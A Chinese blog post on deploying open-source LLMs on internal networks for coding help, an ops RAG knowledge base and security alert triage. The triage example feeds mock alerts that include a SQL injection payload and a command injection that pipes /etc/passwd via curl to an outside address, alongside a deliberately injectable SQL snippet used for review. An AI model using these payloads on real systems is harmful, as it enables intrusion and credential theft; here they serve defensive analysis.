前面几篇文章聊 AI 提效的时候评论区有同学提了个很现实的问题你说用 GPT-4o但我们公司数据不能出内网API 也没法调咋整这问题问到点子上了。不是所有公司都能把数据往公网大模型上送的尤其金融、医疗、政企这些行业数据合规是红线。所以这篇专门聊开源模型在内网的落地实战——用 Qwen、DeepSeek、Llama 这些开源模型在自己的服务器上跑起来让开发、运维、安全三个岗位都能用上。这篇不是理论科普是真刀真枪部署过之后的经验分享。代码能跑场景真实踩过的坑也一并写出来。一、为什么是开源模型不是因为省钱先说清楚一件事选开源模型省钱只是附带好处真正的驱动力是三个字——数据不出门。你看这三个场景开发同学想用 AI 辅助写代码但代码是公司的核心资产能往公网传吗运维同学想让 AI 分析日志但日志里有用户数据和系统拓扑能往公网传吗安全同学想让 AI 分析攻击载荷但攻击载荷本身就是敏感信息能往公网传吗都不能。所以你得在内网部署一套自己的 AI 能力。这就是开源模型的核心价值——把 AI 能力装进你的机房数据自始至终不出门。下面这张图是我们团队实际部署的架构给大家参考简单解释一下这套架构的思路多模型并行不同任务用不同模型。代码生成用 Qwen2.5-Coder通用推理用 DeepSeek-V3 或 Qwen2.5-72BvLLM 做推理引擎比原生 Transformers 快好几倍支持 PagedAttentionRAG 管线内部文档做向量化存到 MilvusAI 回答时可以检索内部知识统一 API 网关各岗位统一通过一个入口访问方便做权限控制和用量统计好架构说完了下面按岗位拆解实战经验。二、开发岗内网搭一套 AI 编码助手2.1 模型选型别贪大合适就行开发岗用 AI 最多的场景是代码生成和代码理解。我们试过好几个模型踩了不少坑最终结论是模型显存需求代码能力适用场景Qwen2.5-Coder-32B2×A100(80G)很强日常编码主力DeepSeek-Coder-V24×A100(80G)极强复杂逻辑/算法Qwen2.5-Coder-7B1×A100(40G)够用轻量任务/IDE插件CodeLlama-13B1×A100(40G)一般已淘汰经验教训不要一上来就上最大的模型。72B 的模型推理慢、显存贵如果你大部分需求就是生成 CRUD 和写单测32B 的 Coder 模型完全够用速度快三倍。2.2 部署vLLM 一键拉起部署这块我们用 vLLM比原生 HuggingFace 推理快太多了。核心就几行命令# 拉起 Qwen2.5-Coder-32B 推理服务 python -m vllm.entrypoints.openai.api_server \ --model Qwen/Qwen2.5-Coder-32B-Instruct \ --tensor-parallel-size 2 \ --gpu-memory-utilization 0.9 \ --max-model-len 8192 \ --port 8000 \ --trust-remote-codevLLM 最好的一点是——它兼容 OpenAI API 格式。这意味着你之前写的调 OpenAI 的代码只要改个 ​​base_url​​ 就能直接用迁移成本几乎为零 内网 AI 编码助手客户端 vLLM 兼容 OpenAI API只需改 base_url 指向内网服务 import os from openai import OpenAI # 关键指向内网 vLLM 服务不碰公网 client OpenAI( base_urlhttp://10.0.1.100:8000/v1, # 内网 vLLM 地址 api_keyinternal-not-real-key, # vLLM 默认不校验 key随便填 ) MODEL Qwen/Qwen2.5-Coder-32B-Instruct # 团队代码规范每次请求带上让模型按规范生成 TEAM_CONVENTIONS ## 团队规范 1. Python 代码遵循 PEP8使用 black 格式化 2. 函数必须有类型注解和 docstring 3. 异常处理不能 bare except必须捕获具体异常 4. 日志用 structlog不要用 print 5. 配置从环境变量读取不硬编码 6. 数据库操作用 SQLAlchemy ORM禁止裸 SQL def generate_code(requirement: str, language: str python) - str: 根据需求描述生成代码 prompt f你是一位资深 {language} 工程师。请根据以下需求生成代码。 {TEAM_CONVENTIONS} 需求{requirement} 要求 1. 包含完整的类型注解和 docstring 2. 包含异常处理 3. 给出关键逻辑的注释 4. 如果涉及外部依赖标注需要的包名 resp client.chat.completions.create( modelMODEL, messages[ {role: system, content: 你是代码生成助手严格遵循团队代码规范。}, {role: user, content: prompt}, ], temperature0.2, # 代码生成用低温度保证确定性 max_tokens4096, ) return resp.choices[0].message.content def review_code(code: str, context: str ) - str: AI 辅助 Code Review prompt f请 Review 以下代码重点关注 1. 安全漏洞SQL注入、XSS、敏感信息泄露等 2. 性能问题N1查询、不必要的循环、内存泄漏等 3. 逻辑错误和边界条件 4. 是否符合以下团队规范 {TEAM_CONVENTIONS} 代码上下文{context} 代码{code}输出格式按严重程度分级Critical / Warning / Suggestion每个问题给出具体行号和修改建议。 resp client.chat.completions.create( modelMODEL, messages[{role: user, content: prompt}], temperature0.1, max_tokens4096, ) return resp.choices[0].message.content # 实际使用示例 if __name__ __main__: # 场景1生成一个 Redis 分布式锁的工具类 code generate_code( 实现一个 Redis 分布式锁工具类支持自动续期和可重入 要求有完整的异常处理和日志记录 ) print( 生成的代码 ) print(code) # 场景2让 AI review 一段可能有问题的代码 suspect_code def get_user_orders(user_id): conn get_db_connection() cursor conn.cursor() cursor.execute(fSELECT * FROM orders WHERE user_id {user_id}) rows cursor.fetchall() result [] for row in rows: order dict(row) # 查每个订单的商品明细 cursor.execute(fSELECT * FROM order_items WHERE order_id {row[id]}) items cursor.fetchall() order[items] [dict(i) for i in items] result.append(order) return result review_result review_code(suspect_code, 获取用户订单列表的接口) print(\n Code Review 结果 ) print(review_result)上面那段有问题的代码AI Review 的输出大概是这样的Critical:SQL 注入第4行、第9行使用 f-string 拼接 SQLuser_id 直接插入查询语句。应使用参数化查询。N1 查询第8-9行循环中执行 SQL 查询订单明细100 个订单就是 101 次查询。应使用 JOIN 或批量查询。Warning:3\.连接未释放全文没有 ​​try-finally​​ 或上下文管理器异常时连接泄漏。4\. \\SELECT \\\*第4、9行查出不需要的字段影响性能。Suggestion:5\. 建议使用 SQLAlchemy ORM 替代裸 SQL。6\. 建议加分页防止返回大量数据。这就是内网 AI 编码助手的实际效果——数据不出内网代码照样能 review。而且因为 vLLM 兼容 OpenAI 格式你之前写的所有调 OpenAI 的工具链都能无缝迁移。2.3 IDE 集成让 AI 跟着你写代码光有命令行工具不够开发同学真正需要的是在 IDE 里实时补全。我们用 Continue开源的 AI 编程助手插件对接内网 vLLM配置很简单// ~/.continue/config.json { models: [ { title: 内网 Qwen Coder, provider: openai, model: Qwen/Qwen2.5-Coder-32B-Instruct, apiBase: http://10.0.1.100:8000/v1, apiKey: internal } ], tabAutocompleteModel: { title: 内网补全模型, provider: openai, model: Qwen/Qwen2.5-Coder-7B-Instruct, apiBase: http://10.0.1.101:8000/v1, apiKey: internal }, allowAnonymousTelemetry: false }这里有个经验分享——代码补全用小模型代码生成用大模型。补全场景对延迟敏感用 7B 模型响应快生成场景对质量要求高用 32B 模型。两个模型分开部署互不影响。三、运维岗AI RAG 内网运维大脑3.1 运维岗的痛点知识散落各处运维岗最大的问题不是没有知识是知识太散了——故障处理记录在 Confluence、监控配置在 Prometheus、告警规则在 AlertManager、历史排障经验在某个老运维的脑子里。新人来了遇到问题得翻半天文档还找不到。解决方案把这些散落的知识喂给开源模型建一个 RAG检索增强生成系统。问它问题它先从知识库里检索相关文档再结合模型能力给出回答。3.2 实战搭建运维知识库 RAG 系统下面是完整的 RAG 系统代码从文档导入到问答检索一套跑通 运维知识库 RAG 系统 功能文档导入 → 向量化存储 → 检索增强问答 import os import json import hashlib from dataclasses import dataclass from typing import List, Optional from datetime import datetime # 1. 文档处理模块 dataclass class DocumentChunk: chunk_id: str source: str # 来源文档名 content: str # 文本内容 metadata: dict # 元数据标签、时间等 embedding: Optional[List[float]] None class DocumentProcessor: 文档分块处理器 def __init__(self, chunk_size500, chunk_overlap50): self.chunk_size chunk_size # 每块大约500字符 self.chunk_overlap chunk_overlap # 块之间重叠50字符保证上下文连贯 def process_markdown(self, content: str, source: str) - List[DocumentChunk]: 处理 Markdown 文档按标题分块 # 按二级标题分块保持语义完整 sections self._split_by_headers(content) chunks [] for section_title, section_text in sections: # 如果某段太长进一步按 chunk_size 切分 if len(section_text) self.chunk_size * 2: sub_chunks self._split_by_size(section_text) for i, sub in enumerate(sub_chunks): chunks.append(self._make_chunk( source, f{section_title} (part {i1}), sub )) else: chunks.append(self._make_chunk(source, section_title, section_text)) return chunks def process_log_pattern(self, log_text: str, source: str) - List[DocumentChunk]: 处理故障日志/排障记录 # 把每次故障的处理过程作为一个 chunk incidents log_text.split(---INCIDENT---) chunks [] for inc in incidents: inc inc.strip() if inc: chunks.append(self._make_chunk(source, incident, inc)) return chunks def _split_by_headers(self, content): 按 Markdown 标题分块 sections [] current_title 前言 current_text for line in content.split(\n): if line.startswith(## ): if current_text.strip(): sections.append((current_title, current_text.strip())) current_title line[3:].strip() current_text else: current_text line \n if current_text.strip(): sections.append((current_title, current_text.strip())) return sections def _split_by_size(self, text): 按固定大小切分带重叠 chunks [] start 0 while start len(text): end start self.chunk_size chunks.append(text[start:end]) start end - self.chunk_overlap return chunks def _make_chunk(self, source, section, text): chunk_id hashlib.md5(f{source}:{section}:{text[:50]}.encode()).hexdigest()[:12] return DocumentChunk( chunk_idchunk_id, sourcesource, contenttext, metadata{section: section, imported_at: datetime.now().isoformat()}, ) # 2. 向量存储模块 class VectorStore: 向量数据库封装实际用 Milvus / Chroma / FAISS def __init__(self, embedding_model_client): self.embedding_client embedding_model_client self.store {} # 简化实现实际用 Milvus def add_documents(self, chunks: List[DocumentChunk]): 文档入库先向量化再存储 for chunk in chunks: # 调用 Embedding 模型生成向量 chunk.embedding self._get_embedding(chunk.content) self.store[chunk.chunk_id] chunk def search(self, query: str, top_k: int 5) - List[DocumentChunk]: 检索最相关的 top_k 个文档块 query_vec self._get_embedding(query) # 计算余弦相似度 scored [] for chunk in self.store.values(): score self._cosine_similarity(query_vec, chunk.embedding) scored.append((score, chunk)) scored.sort(keylambda x: x[0], reverseTrue) return [chunk for _, chunk in scored[:top_k]] def _get_embedding(self, text: str) - List[float]: 调用内网 Embedding 模型 # 实际用 bge-large-zh 或 Qwen 的 embedding 模型 resp self.embedding_client.embeddings.create( modelbge-large-zh-v1.5, inputtext, ) return resp.data[0].embedding def _cosine_similarity(self, vec_a, vec_b): import math dot sum(a * b for a, b in zip(vec_a, vec_b)) norm_a math.sqrt(sum(a * a for a in vec_a)) norm_b math.sqrt(sum(b * b for b in vec_b)) return dot / (norm_a * norm_b 1e-8) # 3. RAG 问答模块 class OpsRAGAssistant: 运维 RAG 问答助手 SYSTEM_PROMPT 你是一位资深运维工程师正在回答同事的运维问题。 请根据提供的参考文档回答问题。回答要求 1. 优先使用参考文档中的信息不要编造 2. 如果参考文档中没有相关信息明确说知识库中暂无相关记录 3. 给出具体可操作的建议不要泛泛而谈 4. 引用信息来源文档名和章节 def __init__(self, llm_client, vector_store: VectorStore): self.llm llm_client self.store vector_store def ask(self, question: str) - dict: 提问并获取回答 # 1. 检索相关文档 relevant_docs self.store.search(question, top_k5) if not relevant_docs: return { answer: 知识库中暂无相关记录建议补充对应文档后重试。, sources: [], } # 2. 拼接上下文 context self._build_context(relevant_docs) # 3. 调用大模型生成回答 prompt f参考文档 {context} 问题{question} resp self.llm.chat.completions.create( modelQwen/Qwen2.5-72B-Instruct, messages[ {role: system, content: self.SYSTEM_PROMPT}, {role: user, content: prompt}, ], temperature0.3, max_tokens2048, ) answer resp.choices[0].message.content return { answer: answer, sources: [ {doc: d.source, section: d.metadata.get(section, )} for d in relevant_docs ], } def _build_context(self, docs: List[DocumentChunk]) - str: 把检索到的文档块拼成上下文 parts [] for i, doc in enumerate(docs, 1): parts.append( f--- 参考文档 {i} ---\n f来源: {doc.source} {doc.metadata.get(section, )}\n f内容: {doc.content}\n ) return \n.join(parts) # 4. 完整使用示例 if __name__ __main__: from openai import OpenAI # 内网模型客户端 llm OpenAI(base_urlhttp://10.0.1.100:8000/v1, api_keyinternal) embedding_client OpenAI(base_urlhttp://10.0.1.102:8000/v1, api_keyinternal) # 初始化组件 processor DocumentProcessor() store VectorStore(embedding_client) assistant OpsRAGAssistant(llm, store) # ---- 步骤1导入运维文档 ---- # 假设这是你的故障处理记录 incident_log ---INCIDENT--- 时间2026-07-15 凌晨2:30 现象订单服务 5xx 错误率从 0.1% 飙到 15% 排查过程 1. 查看监控发现数据库连接池打满active50, waiting23 2. 查慢查询日志发现一条未走索引的全表扫描SQL 3. 该SQL是当天上线的新功能引入的 处置 1. 紧急回滚当天发布 2. 连接池使用率恢复正常 3. 给该SQL加索引后重新发布 根因新上线代码引入慢SQL占满连接池导致服务不可用 经验上线前必须Review SQL慢查询超过100ms的不能上线 ---INCIDENT--- 时间2026-07-20 上午10:00 现象Redis集群某个节点内存使用率 95% 排查过程 1. 查看Redis的大key发现一个 hash 有 200万个 field 2. 该hash是某个活动的排行榜数据未设置过期时间 3. 活动已结束但数据未清理 处置 1. 手动删除该hash用 UNLINK 避免阻塞 2. 给排行榜数据加上 TTL 3. 补充监控告警单个key内存超过100MB告警 根因活动数据未设置过期时间内存持续增长 经验所有缓存必须设置TTL大key要拆分 chunks processor.process_log_pattern(incident_log, 故障处理记录.md) store.add_documents(chunks) print(f已导入 {len(chunks)} 条故障记录) # ---- 步骤2提问 ---- questions [ 数据库连接池打满了怎么处理, Redis内存占用过高怎么排查, 上线前应该注意什么, ] for q in questions: result assistant.ask(q) print(f\n{*60}) print(f问题: {q}) print(f回答: {result[answer][:200]}...) print(f来源: {result[sources]})这就是运维 RAG 系统的实际效果——你把历史故障处理记录喂进去下次类似故障发生时问它就能直接给出排查思路和处置方案。新人来了不用再翻聊天记录找经验直接问 AI 就行。有个经验特别想分享RAG 的效果好不好70% 取决于文档质量30% 才取决于模型。你的知识库如果全是复制粘贴的水文再强的模型也救不了。所以搭建 RAG 之前先花时间整理好你的文档。四、安全岗开源模型做安全分析的独特优势4.1 为什么安全岗特别需要开源模型安全岗的数据敏感度是最高的——攻击载荷、漏洞细节、内网拓扑、蜜罐日志……这些东西别说往公网传了连存储都要加密。所以安全岗用 AI 的唯一可行路径就是内网部署开源模型。但安全岗用开源模型还有一个独特优势可以针对安全场景做专门微调。通用大模型对安全载荷的理解其实一般但如果你拿安全团队的标注数据微调一下效果会有质的飞跃。4.2 实战AI 辅助安全日志分析场景安全运营中心SOC每天收到成千上万条告警人工逐条分析根本看不过来。用 AI 做初筛把高危的挑出来人工确认。 AI 辅助安全告警分析系统 功能告警批量分析 → 分级 → 生成处置建议 → 推送给安全工程师 import os import json from dataclasses import dataclass, field from datetime import datetime from typing import List from enum import Enum class Severity(Enum): CRITICAL critical HIGH high MEDIUM medium LOW low INFO info dataclass class SecurityEvent: event_id: str timestamp: str source_ip: str dest_ip: str event_type: str # waf_alert / ids_alert / edr_alert raw_data: str # 原始告警数据 raw_payload: str # 攻击载荷如果有 ai_analysis: dict field(default_factorydict) class SecurityAIBatchAnalyzer: 安全告警批量 AI 分析器 # 分析用的 Prompt 模板 ANALYSIS_PROMPT 你是安全分析师请分析以下安全告警 告警信息 - 事件ID: {event_id} - 时间: {timestamp} - 源IP: {source_ip} - 目标IP: {dest_ip} - 告警类型: {event_type} - 原始数据: {raw_data} - 攻击载荷: {raw_payload} 请分析 1. 攻击类型判断SQL注入/XSS/RCE/扫描/暴力破解/CC攻击/其他 2. 攻击是否可能成功结合载荷特征判断 3. 严重等级critical/high/medium/low/info 4. 建议的处置动作封IP/加WAF规则/人工排查/忽略 5. 置信度0-1 严格按 JSON 格式输出不要输出其他内容。 def __init__(self, llm_client, model_nameQwen/Qwen2.5-72B-Instruct): self.llm llm_client self.model model_name def analyze_batch(self, events: List[SecurityEvent]) - List[SecurityEvent]: 批量分析安全事件 results [] for event in events: try: analysis self._analyze_single(event) event.ai_analysis analysis results.append(event) except Exception as e: event.ai_analysis { error: str(e), severity: medium, # 分析失败默认 medium人工兜底 action: manual_review, } results.append(event) return results def _analyze_single(self, event: SecurityEvent) - dict: 分析单个安全事件 prompt self.ANALYSIS_PROMPT.format( event_idevent.event_id, timestampevent.timestamp, source_ipevent.source_ip, dest_ipevent.dest_ip, event_typeevent.event_type, raw_dataevent.raw_data[:2000], # 截断防超长 raw_payloadevent.raw_payload[:1000], ) resp self.llm.chat.completions.create( modelself.model, messages[ {role: system, content: 你是安全分析专家输出必须是合法JSON。}, {role: user, content: prompt}, ], temperature0.1, # 安全分析要确定性 max_tokens1024, ) return json.loads(resp.choices[0].message.content) def generate_report(self, analyzed_events: List[SecurityEvent]) - dict: 生成批量分析报告 # 按严重等级分组 by_severity {} for event in analyzed_events: sev event.ai_analysis.get(severity, info) by_severity.setdefault(sev, []).append(event) # 筛选需要立即处置的 critical_events by_severity.get(critical, []) high_events by_severity.get(high, []) report { report_time: datetime.now().isoformat(), total_events: len(analyzed_events), summary: { critical: len(critical_events), high: len(high_events), medium: len(by_severity.get(medium, [])), low: len(by_severity.get(low, [])), info: len(by_severity.get(info, [])), }, need_immediate_action: [], recommended_ignores: [], } for event in critical_events high_events: report[need_immediate_action].append({ event_id: event.event_id, source_ip: event.source_ip, attack_type: event.ai_analysis.get(attack_type, ), severity: event.ai_analysis.get(severity, ), action: event.ai_analysis.get(action, ), confidence: event.ai_analysis.get(confidence, 0), }) for event in by_severity.get(info, []): if event.ai_analysis.get(confidence, 0) 0.9: report[recommended_ignores].append(event.event_id) return report def push_alert(self, report: dict, webhook_url: str): 推送告警到企业微信/钉钉 critical_count report[summary][critical] high_count report[summary][high] if critical_count high_count 0: return # 没有需要立即处置的不打扰 message f安全告警分析报告 时间: {report[report_time]} 总告警数: {report[total_events]} 严重: {critical_count} | 高危: {high_count} 需要立即处置: for item in report[need_immediate_action][:10]: # 最多展示10条 message f\n- [{item[severity].upper()}] {item[source_ip]} - {item[attack_type]} → {item[action]} # 调用 webhook 推送 import requests requests.post(webhook_url, json{text: message}) # 完整使用示例 if __name__ __main__: from openai import OpenAI llm OpenAI(base_urlhttp://10.0.1.100:8000/v1, api_keyinternal) analyzer SecurityAIBatchAnalyzer(llm) # 模拟一批安全告警 events [ SecurityEvent( event_idSEC-001, timestamp2026-08-08T14:00:00, source_ip203.0.113.10, dest_ip10.0.2.5, event_typewaf_alert, raw_dataURL: /api/search?qtest, Action: monitored, raw_payloadtest UNION SELECT username,password FROM users--, ), SecurityEvent( event_idSEC-002, timestamp2026-08-08T14:01:00, source_ip198.51.100.5, dest_ip10.0.2.5, event_typewaf_alert, raw_dataURL: /, User-Agent: Mozilla/5.0, Action: monitored, raw_payloadGET / HTTP/1.1 (normal request, likely scanner probe), ), SecurityEvent( event_idSEC-003, timestamp2026-08-08T14:02:00, source_ip203.0.113.10, dest_ip10.0.2.5, event_typeids_alert, raw_dataPattern: RCE attempt detected, matching rule: command-injection, raw_payload; cat /etc/passwd | curl http://203.0.113.10/exfil -d -, ), ] # 1. 批量分析 analyzed analyzer.analyze_batch(events) # 2. 生成报告 report analyzer.generate_report(analyzed) print(json.dumps(report, ensure_asciiFalse, indent2)) # 3. 推送告警如果有高危 # analyzer.push_alert(report, webhook_urlos.getenv(SEC_WEBHOOK))跑完之后报告大概是这样的{ total_events: 3, summary: {critical: 1, high: 1, medium: 0, low: 0, info: 1}, need_immediate_action: [ { event_id: SEC-003, source_ip: 203.0.113.10, attack_type: RCE - 命令注入尝试读取passwd并通过curl外传, severity: critical, action: 立即封禁源IP 排查是否已被攻陷, confidence: 0.95 }, { event_id: SEC-001, source_ip: 203.0.113.10, attack_type: SQL注入 - UNION注入尝试读取用户表, severity: high, action: 封禁源IP 更新WAF规则, confidence: 0.9 } ], recommended_ignores: [SEC-002] }3 条告警AI 几秒钟分好级了1 条 criticalRCE、1 条 highSQL注入、1 条 info正常扫描探测建议忽略。安全同学只需要关注前两条第三条不用浪费时间看。而且注意——所有分析都在内网完成攻击载荷没有往外传一个字节。这就是开源模型对安全岗的核心价值。4.3 进阶安全模型微调如果通用模型的分析效果还不够好可以拿安全团队的标注数据做微调。下面是微调的数据准备脚本骨架 安全模型微调数据准备 把历史安全告警 人工标注结果转成微调数据集 import json def prepare_finetune_dataset(raw_alerts: list, output_file: str): raw_alerts: 原始告警人工标注列表 输出: Qwen 兼容的微调数据集 (JSONL) dataset [] for alert in raw_alerts: # 构造 instruction输入 instruction f分析以下安全告警 类型: {alert[event_type]} 源IP: {alert[source_ip]} 载荷: {alert[payload]} 请判断攻击类型、严重等级和建议处置。 # 构造 output人工标注的标准答案 output json.dumps({ attack_type: alert[labeled_attack_type], severity: alert[labeled_severity], action: alert[labeled_action], confidence: 1.0, }, ensure_asciiFalse) dataset.append({ instruction: instruction, input: , output: output, }) with open(output_file, w, encodingutf-8) as f: for item in dataset: f.write(json.dumps(item, ensure_asciiFalse) \n) print(f微调数据集已生成: {output_file}, 共 {len(dataset)} 条) return output_file # 实际微调用 LLaMA-Factory 或 ms-swift 框架 # 命令示例LLaMA-Factory: # llamafactory-cli train \ # --model_name_or_path Qwen/Qwen2.5-7B-Instruct \ # --dataset sec_finetune.jsonl \ # --finetuning_type lora \ # --lora_target q_proj,v_proj \ # --output_dir ./sec-model-lora微调之后模型对你们公司常见攻击模式的理解会明显提升。但注意微调数据至少要 500 条以上才有明显效果少于这个量不如直接用 RAG。五、落地过程中的坑和经验最后分享几个我们在实际部署中踩过的坑帮你少走弯路。坑一模型太大推理太慢大家不用了。这是最常见的失败原因。72B 模型在 2 张 A100 上推理大概 3-5 秒/次但如果用 7B 模型只要 0.5 秒。建议先上小模型把流程跑通让大家先用起来再根据需求逐步升级。别一上来就追求最强模型。坑二RAG 检索效果差回答不靠谱。九成原因是文档没处理好。常见问题文档太大没分块、分块太小丢了上下文、Embedding 模型不支持中文。建议用 bge-large-zh 做 Embedding文档按语义分块不要按固定字数硬切块大小 300-500 字符比较合适。坑三安全同学不信任 AI 的分析结果。安全岗的特性决定了它对准确率要求极高误报多了就不信了。建议AI 分析结果必须带置信度低置信度的标注需人工确认高置信度自动处理的也要留 audit trail方便事后追溯。坑四没有统一入口各岗位各搞各的。结果就是模型重复部署、显存浪费、版本混乱。建议搭建统一的 API 网关所有岗位通过同一个入口访问统一做用量统计、权限控制和模型版本管理。坑五只部署不运营。模型部署完了就不管了过几个月没人用项目就黄了。建议每周看一次使用数据哪个模型用得多、哪些 Prompt 没效果、哪个岗位没用起来针对性优化。AI 落地不是一次性工程是持续运营。